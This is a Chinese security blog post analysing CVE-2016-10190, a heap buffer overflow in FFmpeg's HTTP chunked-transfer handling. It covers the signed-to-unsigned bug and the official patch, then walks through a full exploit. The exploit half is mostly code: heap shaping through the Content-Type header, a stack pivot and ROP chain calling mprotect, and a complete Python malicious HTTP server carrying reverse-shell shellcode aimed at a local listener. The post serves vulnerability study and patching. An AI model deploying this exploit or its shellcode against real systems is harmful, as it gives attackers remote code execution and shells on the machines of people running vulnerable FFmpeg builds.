作者:栈长@蚂蚁金服巴斯光年安全实验室

————————

1. 背景

FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器、转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。本文对CVE-2016-10190进行了详细的分析,是一个学习如何利用堆溢出达到任意代码执行的一个非常不错的案例。

2. 漏洞分析

FFmpeg的 Http 协议的实现中支持几种不同的数据传输方式,通过 Http Response Header 来控制。其中一种传输方式是transfer-encoding: chunked,表示数据将被划分为一个个小的 chunk 进行传输,这些 chunk 都是被放在 Http body 当中,每一个 chunk 的结构分为两个部分,第一个部分是该 chunk 的 data 部分的长度,十六进制,以换行符结束,第二个部分就是该 chunk 的 data,末尾还要额外加上一个换行符。下面是一个 Http 响应的示例。关于transfer-encoding: chunked更加详细的内容可以参考这篇文章

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 03 May 2015 17:25:23 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Content-Encoding: gzip

1f

HW(/IJ

0

漏洞就出现在libavformat/http.c这个文件中,在http_read_stream函数中,如果是以 chunk 的方式传输,程序会读取每个 chunk 的第一行,也就是 chunk 的长度那一行,然后调用s->chunksize = strtoll(line, NULL, 16);来计算 chunk size。chunksize的类型是int64_t,在下面调用了FFMIN和 buffer 的 size 进行了长度比较,但是 buffer 的 size 也是有符号数,这就导致了如果我们让chunksize等于-1, 那么最终传递给httpbufread函数的 size 参数也是-1。相关代码如下:

s->chunksize = strtoll(line, NULL, 16);

av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"'\n",

s->chunksize);

if (!s->chunksize)

return 0;

}

size = FFMIN(size, s->chunksize);//两个有符号数相比较

}

//...

read_ret = http_buf_read(h, buf, size);//可以传递一个负数过去

而在httpbufread函数中会调用ffurl_read函数,进一步把 size 传递过去。然后经过一个比较长的调用链,最终会传递到tcp_read函数中,函数里调用了recv函数来从 socket 读取数据,而recv的第三个参数是size_t类型,也就是无符号数,我们把size为-1传递给它的时候会发生有符号数到无符号数的隐式类型转换,就变成了一个非常大的值0xffffffff,从而导致缓冲区溢出。

static int http_buf_read(URLContext *h, uint8_t *buf, int size)

{

HTTPContext *s = h->priv_data;

intlen;

/* read bytes from input buffer first */

len = s->buf_end - s->buf_ptr;

if (len> 0) {

if (len> size)

len = size;

memcpy(buf, s->buf_ptr, len);

s->buf_ptr += len;

} else {

//...

len = ffurl_read(s->hd, buf, size);//这里的 size 是从上面传递下来的

static int tcp_read(URLContext *h, uint8_t *buf, int size)

{

TCPContext *s = h->priv_data;

int ret;

if (!(h->flags & AVIO_FLAG_NONBLOCK)) {

//...

}

ret = recv(s->fd, buf, size, 0);    //最后在这里溢出

可以看到,由有符号到无符号数的类型转换可以说是漏洞频发的重灾区,写代码的时候稍有不慎就可能犯下这种错误,而且一些隐式的类型转换编译器并不会报 warning。如果需要检测这样的类型转换,可以在编译的时候添加-Wconversion -Wsign-conversion这个选项。

官方修复方案

官方的修复方法也比较简单明了,把HTTPContext这个结构体中所有和 size,offset 有关的字段全部改为unsigned类型,把strtoll函数改为strtoull函数,还有一些细节上的调整等等。这么做不仅补上了这次的漏洞,也防止了类似的漏洞不会再其他的地方再发生。放上官方补丁的链接

3. 利用环境搭建

漏洞利用的靶机环境

操作系统:Ubuntu 16.04 x64

FFmpeg版本:3.2.1 (参照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu编译,需要把官方教程中提及的所有 encoder编译进去,最好是静态编译。)

4. 利用过程

这次的漏洞需要我们搭建一个恶意的 Http Server,然后让我们的客户端连上 Server,Server 把恶意的 payload 传输给 client,在 client 上执行任意代码,然后反弹一个 shell 到 Server 端。

首先我们需要控制返回的 Http header 中包含transfer-encoding: chunked字段。

headers = """HTTP/1.1 200 OK

Server: HTTPd/0.9

Date: Sun, 10 Apr 2005 20:26:47 GMT

Transfer-Encoding: chunked

"""

然后我们控制 chunk 的 size 为-1, 再把我们的 payload 发送过去

client_socket.send('-1\n')

#raw_input("sleep for a while to avoid HTTPContext buffer problem!")

sleep(3)    #这里 sleep 很关键,后面会解释

client_socket.send(payload)

下面我们开始考虑 payload 该如何构造,首先我们使用gdb观察程序在 buffer overflow 的时候的堆布局是怎样的,在我的机器上很不幸的是可以看到被溢出的 chunk 正好紧跟在 top chunk的后面,这就给我们的利用带来了困难。接下来我先后考虑了三种思路:

思路一:覆盖top chunk的size字段

这是一种常见的glibc heap 利用技巧,是通过把 top chunk 的size 字段改写来实现任意地址写,但是这种方法需要我们能很好的控制malloc的 size 参数。在FFmpeg源代码中寻找了一番并没有找到这样的代码,只能放弃。

思路二:通过unlink来任意地址写

这种方法的条件也比较苛刻,首先需要绕过 unlink 的 check,但是由于我们没有办法 leak 出堆地址,所以也是行不通的。

思路三:通过某种方式影响堆布局,使得溢出chunk后面有关键结构体

如果溢出 chunk 之后有关键结构体,结构体里面有函数指针,那么事情就简单多了,我们只需要覆盖函数指针就可以控制 RIP 了。纵观溢出时的整个函数调用栈,

avio_read->fill_buffer->io_read_packet->…->http_buf_read,avio_read函数和fill_buffer函数里面都调用了AVIOContext::read_packet这个函数。我们必须设法覆盖AVIOContext这个结构体里面的read_packet函数指针,但是目前这个结构体是在溢出 chunk 的前面的,需要把它挪到后面去。那么就需要搞清楚这两个 chunk 被malloc的先后顺序,以及mallocAVIOContext的时候的堆布局是怎么样的。

int ffio_fdopen(AVIOContext **s, URLContext *h)

{

//...

buffer = av_malloc(buffer_size);//先分配io buffer, 再分配AVIOContext

if (!buffer)

return AVERROR(ENOMEM);

internal = av_mallocz(sizeof(*internal));

if (!internal)

goto fail;

internal->h = h;

*s = avio_alloc_context(buffer, buffer_size, h->flags & AVIO_FLAG_WRITE,

internal, io_read_packet, io_write_packet, io_seek);

在ffio_fdopen函数中可以清楚的看到是先分配了用于io的 buffer(也就是溢出的 chunk),再分配AVIOContext的。程序在mallocAVIOContext的时候堆上有一个 large free chunk,正好是在溢出 chunk 的前面。那么只要想办法在之前把这个 free chunk 给填上就能让AVIOContext跑到溢出 chunk 的后面去了。由于http_open是在AVIOContext被分配之前调用的,(关于整个调用顺序可以参考雷霄华的博客整理的一个FFmpeg的总的流程图)所以我们可在http_read_header函数里面寻找那些能够影响堆布局的代码,其中 Content-Type 字段就会为字段值malloc一段内存来保存。所以我们可以任意填充Content-Type的值为那个 free chunk 的大小,就能预先把 free chunk 给使用掉了。修改后的Http header如下:

headers = """HTTP/1.1 200 OK

Server: HTTPd/0.9

Date: Sun, 10 Apr 2005 20:26:47 GMT

Content-Type: %s

Transfer-Encoding: chunked

Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA;

""" % ('h' * 3120)

其中Set-Cookie字段可有可无,只是会影响溢出 chunk 和AVIOContext的距离,不会影响他们的前后关系。

这之后就是覆盖AVIOContext的各个字段,以及考虑怎么让程序走到自己想要的分支了。经过分析我们让程序再一次调用fill_buffer,然后走到s->read_packet那一行是最稳妥的。调试发现走到那一行的时候我们可以控制的有RIP, RDI, RSI, RDX, RCX等寄存器,接下来就是考虑怎么 ROP 了。

static void fill_buffer(AVIOContext *s)

{

intmax_buffer_size = s->max_packet_size ?  //可控

s->max_packet_size :

IO_BUFFER_SIZE;

uint8_t *dst        = s->buf_end - s->buffer + max_buffer_size< s->buffer_size ?

s->buf_end : s->buffer;   //控制这个, 如果等于s->buffer的话,问题是 heap 地址不知道

intlen             = s->buffer_size - (dst - s->buffer);   //可控

/* can't fill the buffer without read_packet, just set EOF if appropriate */

if (!s->read_packet&& s->buf_ptr>= s->buf_end)

s->eof_reached = 1;

/* no need to do anything if EOF already reached */

if (s->eof_reached)

return;

if (s->update_checksum&&dst == s->buffer) {

//...

}

/* make buffer smaller in case it ended up large after probing */

if (s->read_packet&& s->orig_buffer_size&& s->buffer_size> s->orig_buffer_size) {

//...

}

if (s->read_packet)

len = s->read_packet(s->opaque, dst, len);

首先要把栈迁移到堆上,由于堆地址是随机的,我们不知道。所以只能利用当时寄存器或者内存中存在的堆指针,并且堆指针要指向我们可控的区域。在寄存器中没有找到合适的值,但是打印当前stack, 可以看到栈上正好有我们需要的堆指针,指向AVIOContext结构体的开头。接下来只要想办法找到pop rsp; ret之类的rop就可以了。

pwndbg> stack

00:0000│rsp  0x7fffffffd8c0 —? 0x7fffffffd900 —? 0x7fffffffd930 —? 0x7fffffffd9d0 ?— ...

01:0008│      0x7fffffffd8c8 —? 0x2b4ae00 —? 0x63e2c8 (ff_yadif_filter_line_10bit_ssse3+1928) ?— add    rsp, 0x58

02:0010│      0x7fffffffd8d0 —? 0x7fffffffe200 ?— 0x6

03:0018│      0x7fffffffd8d8 ?— 0x83d1d51e00000000

04:0020│      0x7fffffffd8e0 ?— 0x8000

05:0028│      0x7fffffffd8e8 —? 0x2b4b168 ?— 0x6868686868686868 ('hhhhhhhh')

06:0030│rbp  0x7fffffffd8f0 —? 0x7fffffffd930 —? 0x7fffffffd9d0 —? 0x7fffffffda40 ?— ...

07:0038│      0x7fffffffd8f8 —? 0x6cfb2c (avio_read+336) ?— movrax, qword ptr [rbp - 0x18]

把栈迁移之后,先利用add rsp, 0x58; ret这种蹦床把栈拔高,然后执行我们真正的 ROP 指令。由于plt表中有mprotect, 所以可以先将0x400000地址处的 page 权限改为rwx,再把shellcode写到那边去,然后跳转过去就行了。最终的堆布局如下:

放上最后利用成功的截图

启动恶意的 Server

客户端连接上 Server

成功反弹 shell

最后附上完整的利用脚本,根据漏洞作者的exp修改而来

#!/usr/bin/python

#coding=utf-8

import re

importos

import sys

import socket

import threading

from time import sleep

frompwn import *

bind_ip = '0.0.0.0'

bind_port = 12345

headers = """HTTP/1.1 200 OK

Server: HTTPd/0.9

Date: Sun, 10 Apr 2005 20:26:47 GMT

Content-Type: %s

Transfer-Encoding: chunked

Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA;

""" % ('h' * 3120)

"""

"""

elf = ELF('/home/dddong/bin/ffmpeg_g')

shellcode_location = 0x00400000

page_size = 0x1000

rwx_mode = 7

gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64')))

pop_rdi = gadget('pop rdi; ret')

pop_rsi = gadget('pop rsi; ret')

pop_rax = gadget('pop rax; ret')

pop_rcx = gadget('pop rcx; ret')

pop_rdx = gadget('pop rdx; ret')

pop_rbp = gadget('pop rbp; ret')

leave_ret = gadget('leave; ret')

pop_pop_rbp_jmp_rcx = gadget('pop rbx ; pop rbp ; jmprcx')

push_rbx = gadget('push rbx; jmprdi')

push_rsi = gadget('push rsi; jmprdi')

push_rdx_call_rdi = gadget('push rdx; call rdi')

pop_rsp = gadget('pop rsp; ret')

add_rsp = gadget('add rsp, 0x58; ret')

mov_gadget = gadget('mov qword ptr [rdi], rax ; ret')

mprotect_func = elf.plt['mprotect']

#read_func = elf.plt['read']

def handle_request(client_socket):

# 0x009e5641: mov qword [rcx], rax ; ret  ;  (1 found)

# 0x010ccd95: push rbx ;jmprdi ;  (1 found)

# 0x00d89257: pop rsp ; ret  ;  (1 found)

# 0x0058dc48: add rsp, 0x58 ; ret  ;  (1 found)

request = client_socket.recv(2048)

payload = ''

payload += 'C' * (0x8040)

payload += 'CCCCCCCC' * 4

##################################################

#rop starts here

payload += p64(add_rsp) # 0x0: 从这里开始覆盖AVIOContext

#payload += p64(0) + p64(1) + 'CCCCCCCC' * 2 #0x8:

payload += 'CCCCCCCC' * 4 #0x8: buf_ptr和buf_end后面会被覆盖为正确的值

payload += p64(pop_rsp) # 0x28: 这里是opaque指针,可以控制rdi和rcx, s->read_packet(opaque,dst,len)

payload += p64(pop_pop_rbp_jmp_rcx) # 0x30: 这里是read_packet指针,call *%rax

payload += 'BBBBBBBB' * 3 #0x38

payload += 'AAAA' #0x50 must_flush

payload += p32(0) #eof_reached

payload += p32(1) + p32(0) #0x58 write_flag=1 and max_packet_size=0

payload += p64(add_rsp) # 0x60: second add_esp_0x58 rop to jump to uncorrupted chunk

payload += 'CCCCCCCC' #0x68: checksum_ptr控制rdi

#payload += p64(push_rdx_call_rdi) #0x70

payload += p64(1) #0x70: update_checksum

payload += 'XXXXXXXX' * 9 #0x78: orig_buffer_size

# realrop payload starts here

#

# usingmprotect to create executable area

payload += p64(pop_rdi)

payload += p64(shellcode_location)

payload += p64(pop_rsi)

payload += p64(page_size)

payload += p64(pop_rdx)

payload += p64(rwx_mode)

payload += p64(mprotect_func)

# backconnectshellcode x86_64: 127.0.0.1:31337

shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";

shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode

shellslices = map(''.join, zip(*[iter(shellcode)]*8))

write_location = shellcode_location

forshellslice in shellslices:

payload += p64(pop_rax)

payload += shellslice

payload += p64(pop_rdi)

payload += p64(write_location)

payload += p64(mov_gadget)

write_location += 8

payload += p64(pop_rbp)

payload += p64(4)

payload += p64(shellcode_location)

client_socket.send(headers)

client_socket.send('-1\n')

#raw_input("sleep for a while to avoid HTTPContext buffer problem!")

sleep(3)

client_socket.send(payload)

print "send payload done."

client_socket.close()

if __name__ == '__main__':

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

s.bind((bind_ip, bind_port))

s.listen(5)

filename = os.path.basename(__file__)

st = os.stat(filename)

print 'start listening at %s:%s' % (bind_ip, bind_port)

while True:

client_socket, addr = s.accept()

print 'accept client connect from %s:%s' % addr

handle_request(client_socket)

if os.stat(filename) != st:

print 'restarted'

sys.exit(0)

5. 反思与总结

这次的漏洞利用过程让我对FFmpeg的源代码有了更为深刻的理解。也学会了如何通过影响堆布局来简化漏洞利用的过程,如何栈迁移以及编写 ROP。

在pwn的过程中,阅读源码来搞清楚malloc的顺序,使用gdb插件(如libheap)来显示堆布局是非常重要的,只有这样才能对症下药,想明白如何才能调整堆的布局。如果能够有插件显示每一个malloc chunk 的函数调用栈就更好了,之后可以尝试一下 GEF 这个插件。

6. 参考资料

1  https://trac.ffmpeg.org/ticket/5992

2  http://www.openwall.com/lists/oss-security/2017/01/31/12

3  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10190

4  官方修复链接:https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf8102291e7484aa

5  https://security.tencent.com/index.php/blog/msg/116

6  Transfer-encoding介绍:https://imququ.com/post/transfer-encoding-header-in-http.html

7  漏洞原作者的 exp:https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6

8  FFmpeg源代码结构图:http://blog.csdn.net/leixiaohua1020/article/details/44220151

https://docs.pwntools.com/en/stable/index.html

-------------------------------

更多安全类热点信息和知识分享,请关注阿里聚安全的官方博客

CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用的更多相关文章

  1. CVE-2016-10191 FFmpeg RTMP Heap Buffer Overflow 漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 一.前言 FFmpeg是一个著名的处理音视频的开源项目,使用者众多.2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190 ...

  2. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

  3. 2——FFMPEG之协议(文件)操作----AVIOContext, URLContext, URLProtocol

    协议操作对象结构: 协议(文件)操作的顶层结构是AVIOContext,这个对象实现了带缓冲的读写操作:FFMPEG的输入对象AVFormat的pb字段指向一个AVIOContext. AVIOCon ...

  4. ffmpeg的内部Video Buffer管理和传送机制

    ffmpeg的内部Video Buffer管理和传送机制 本文主要介绍ffmpeg解码器内部管理Video Buffer的原理和过程,ffmpeg的Videobuffer为内部管理,其流程大致为:注册 ...

  5. 内存错误:CRT detected that the application wrote to memory after end of heap buffer

    今天调试测试代码时,发现在用完了new出来的内存buf后,在执行delete时报错了,具体信息为: HEAP_CORRUPTION_DETECTED: after Normal block(#908) ...

  6. NIO中的heap Buffer和direct Buffer区别

    在Java的NIO中,我们一般采用ByteBuffer缓冲区来传输数据,一般情况下我们创建Buffer对象是通过ByteBuffer的两个静态方法: ByteBuffer.allocate(int c ...

  7. C语言错误: CRT detected that the application wrote to memory after end of heap buffer

    CRT detected that the application wrote to memory after end of heap buffer 多是中间对其进行了一些操作,在程序结束处,释放内存 ...

  8. Direct Buffer vs. Heap Buffer

    1. 劣势:创建和释放Direct Buffer的代价比Heap Buffer得要高. 2. 差别:Direct Buffer不是分配在堆上的,它不被GC直接管理(但Direct Buffer的JAV ...

  9. FFmpeg 结构体学习(七): AVIOContext 分析

    在上文FFmpeg 结构体学习(六): AVCodecContext 分析我们学习了AVCodec结构体的相关内容.本文,我们将讲述一下AVIOContext. AVIOContext是FFMPEG管 ...

随机推荐

  1. 打造颠覆你想象中的高性能,轻量级的webform框架---无刷新提交后台并返回参数(第五天)

    问题5:  使用aspx 页面执行后台方法,总是要刷新整个页面?我想提交后台不刷新页面,同时返回参数 执行前台的js 脚本,就是说类似于像 ajax 的效果一样,那我们该怎么做呢? 大家是否已经看了前 ...

  2. SpringMVC+Mybatis实现的Mysql分页数据查询

    周末这天手痒,正好没事干,想着写一个分页的例子出来给大家分享一下. 这个案例分前端和后台两部分,前端使用面向对象的方式写的,里面用到了一些回调函数和事件代理,有兴趣的朋友可以研究一下.后台的实现技术是 ...

  3. pentaho之kettle篇---kettle基本操作

    今天先来做一个简单的kettle的例子. 打开输入,选择CSV文件输入. 双击CSV文件输入图标,可以看见如下: 步骤名称:就是你这一步的名字,可以任意取,原则就是要明白,清楚这一步是做了什么操作. ...

  4. vTPM环境部署(ubuntu)

    注:1.系统:ubuntu16.04LTS2.ISO镜像:/home/huanghaoxiang/ubuntu-server.iso3.IMG路径:/home/TPM-Machine4.Login: ...

  5. butterknife的8.5.1版本问题

    使用7.0.1版本没有问题compile 'com.jakewharton:butterknife:7.0.1'使用8.5.0版本时候,必须配合下面的compiler插件一起使用,否则会出现点击事件不 ...

  6. javascript中的时间版运动

    前面的话 速度版JS运动是指以速度为参照,随着路程的变化,时间随之变化:而时间版JS运动是指以时间为参照,随着路程的变化,速度随着变化.相较而言,时间版JS运动更为常用.JQ的animate就是时间版 ...

  7. eval & exec(绕过长度限制思路学习)

    eval & exec知识点记录--原文章phithon,只是记录一下我自己的学习过程. 1.eval & exec if(strlen($param)<17 && ...

  8. http基础知识总结

    前车之鉴,后车之师. 站在各位前辈的肩膀上学习到很多知识,这里仅做记录,供自己使用 关于HTTP 我们想要打开一个网站,首先是需要往浏览器地址的URL输入框架中输入网址.当敲下回车后,通过http协议 ...

  9. postman也可以使用F12功能

    背景: 做过接口测试的话,大多数都知道或使用过postman工具,使用postman的时候,有时候希望也可以像chrome一样使用F12功能,这样方便观察一些数据,尤其是当你使用了postman的变量 ...

  10. TP-LINK 路由器怎么设置

    TP-LINK 路由器怎么设置... ----------------------- 1.线路连接: 没有使用路由器时,电脑直接连接宽带上网,现在使用路由器共用宽带上网,则需要用路由器来直接连接宽带. ...